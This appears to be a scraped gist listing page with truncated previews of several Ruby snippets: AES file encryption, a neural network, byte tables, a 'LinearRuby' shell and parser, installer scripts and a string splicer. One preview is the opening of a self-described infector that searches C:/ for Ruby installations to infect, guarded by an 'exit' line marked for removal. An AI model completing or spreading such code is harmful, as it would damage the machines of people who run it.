This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'openssl' | |
# Method to encrypt a file using AES | |
def encrypt_file_aes(path) | |
# Generate a random key and initialization vector (IV) | |
key = OpenSSL::Random.random_bytes(32) | |
iv = OpenSSL::Random.random_bytes(16) | |
# Read the file content | |
file_content = File.read(path) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class NeuralNetwork | |
def initialize(num_inputs, num_hidden, num_outputs) | |
@input_layer = Array.new(num_inputs) { Neuron.new(0) } | |
@hidden_layer = Array.new(num_hidden) { Neuron.new(num_inputs) } | |
@output_layer = Array.new(num_outputs) { Neuron.new(num_hidden) } | |
end | |
def feed_forward(inputs) | |
hidden_outputs = @hidden_layer.map { |neuron| neuron.output(inputs) } | |
@output_layer.map { |neuron| neuron.output(hidden_outputs) } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#self.rb#5#;#6#;#9#;#9#;#4#;#5#;#6#;#7#;#9#;#6#;#4### self.rb | |
## CHARACTERS | |
CHARS = [] ; c = 0 ; 256.times{ CHARS << c.chr.to_s ; c += 1 } | |
## every 8 bit binary number in cardinal order | |
BINARY = [] ; c = 0 ; 256.times { b = c.to_s(2) ; until b.to_s.length == 8 ; b = "0" + b.to_s ; end ; BINARY << b ; c += 1 } | |
## every hexicdeimal number in order | |
HEX = [] ; c = 0 ; 256.times { h = c.to_s(16) ; if h.length == 1 ; h = "0" + h.to_s ; end ; HEX << h ; c += 1 } | |
## a list of all 8 bit byte codes for the ascii characters | |
#BYTES = [] ; HEX.each do |h| ; BYTES << "\\x" + h ; end | |
##system/region termonology |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# shell.lrb ## LinearRuby version of the shell class from definitions. | |
@main = self | |
@context = @main | |
@cid = 0 | |
@input = nil | |
@res = nil | |
@excep = [] | |
@running = nil | |
def start |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## use this to eval files that were converted to hex | |
## script = [args[0]].pack('H*').to_s # convert hex string to regular string | |
## | |
## This parser is designed to run LinearRuby programs from script files (.lrb files). | |
## LinearRuby has unimplied rules that can allow programs to ruby on regular ruby and linear ruby, the rules | |
## can be broken but for the most part breaking them doesnt make sense because in LinearRuby we assume classes | |
## are useless and write ruby programs in a linear series of script blocks. | |
## These script files have a few unimplied rules you are expected to follow to create a proper linear ruby file: | |
## | |
## 1. No classes or glabals are defined, instance variables and constants replace them. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
INFECTED=TRUE | |
exit ## remove this to run and line 35 | |
SELF_CODE = "" | |
maybe_ruby = []; Dir.entries("C:/")[2..-1].each { |e| if e.downcase[0..3] == "ruby; maybe_ruby << e; end } | |
target=nil | |
maybe_ruby.each do |r| | |
p="C:/"+r | |
if File.directory?(p+"/bin") and File.file?(p+"/bin/ruby.exe"); target = p; break; end | |
end | |
if target == nil; exit; end ## failed to find a ruby install to infect |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
VERSION='1.0.025' | |
#begin | |
unless defined?(VERSION); VERSION = "0"; end | |
launch_directory=Dir.getwd; launch_time=Time.now | |
##prompt | |
puts "Welcome to the Rubin System installer. Version "+VERSION.to_s | |
puts "" | |
puts "Dir: "+launch_directory.to_s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
VERSION='1.0.019' | |
unless defined?(VERSION); VERSION = "0"; end | |
puts "Welcome to the Rubin System installer. Version "+VERSION.to_s | |
launch_directory=Dir.getwd | |
launch_time=Time.now | |
puts "" | |
puts "Dir: "+launch_directory.to_s |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def scan_splicer(s,b,e) # i.e.: "<tag>", "</tag>" | |
if s.to_s == "" or b.to_s == "" or e.to_s == ""; raise "Invalid arguements passed."; end | |
if s.length<=(b.to_s.length+e.to_s.length); raise "Input string is too small."; end | |
pos=0; stack = false; list=[] | |
if b.length > e.length ; buffer_length = b.length; else; buffer_length = e.length; end | |
buffer = []; buffer_length.times{ buffer << "" } | |
empty_buffer=[]; buffer_length.times{ empty_buffer << "" } | |
empty_buffer2=[]; buffer_length.times{ empty_buffer2 << "" } | |
tag1=empty_buffer; b.split('').each { |ch| empty_buffer << ch ; empty_buffer.delete_at(0) } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a=1 ; b=2 ; 100.times{ puts (a+b).to_s ; a+=1; b+=1 } |